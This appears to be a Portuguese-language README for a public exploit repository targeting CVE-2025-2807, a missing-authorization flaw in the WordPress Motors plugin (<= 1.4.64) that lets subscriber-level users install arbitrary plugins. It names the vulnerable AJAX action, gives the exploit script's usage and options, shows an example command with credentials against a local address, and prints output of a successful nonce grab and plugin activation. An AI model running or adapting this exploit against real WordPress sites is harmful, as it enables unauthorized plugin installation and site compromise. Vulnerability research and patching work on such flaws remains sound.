nxploited/cve-2025-2807Wordpress - Motors Plugin <= 1.4.64 - Vulnerabilidade de Instalação Arbitrária de Plugin
Explorado por: Nxploited | Khaled Alenazi
Plugin: Motors (<= 1.4.64)
Tipo: Falta de Autorização para Usuário Autenticado (Assinante+) Instalação Arbitrária de Plugin
Severidade: 8.8 (CVSS v3)
Descoberto em: 07 de Abril de 2025
VDP: Não
Esta vulnerabilidade permite que qualquer usuário autenticado do WordPress (Assinante+) instale plugins arbitrários sem qualquer verificação de autorização adequada.
Devido à falta de validação de capacidade na função mvl_setup_wizard_install_plugin, um usuário com privilégios baixos pode realizar ações reservadas a administradores.
📅 Espera-se que seja explorado em massa devido à sua simplicidade e impacto crítico.
/wp-admin/admin-ajax.phpmvl_setup_wizard_install_plugincurrent_user_can('install_plugins') ou similarEste script:
usage: CVE-2025-2807.py [-h] -u URL -un USERNAME -p PASSWORD [-pn PLUGIN]
Exploit For CVE-2025-2807 By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Base URL of WordPress site
-un, --username USERNAME Subscriber username
-p, --password PASSWORD Subscriber password
-pn, --plugin PLUGIN Plugin to install (default: contact-form-7)
python3 CVE-2025-2807.py -u http://192.168.1.100/wordpress -un subscriber -p 123456 -pn contact-form-7
[*] Logging in...
[+] Logged in successfully.
[*] Fetching setup wizard page...
[+] Found nonce in HTML: 428cdf8347
[*] Attempting to install plugin: contact-form-7
[+] Plugin installation request sent successfully!
[+] Response: {"success":true,"data":"Plugin succesfully activated"}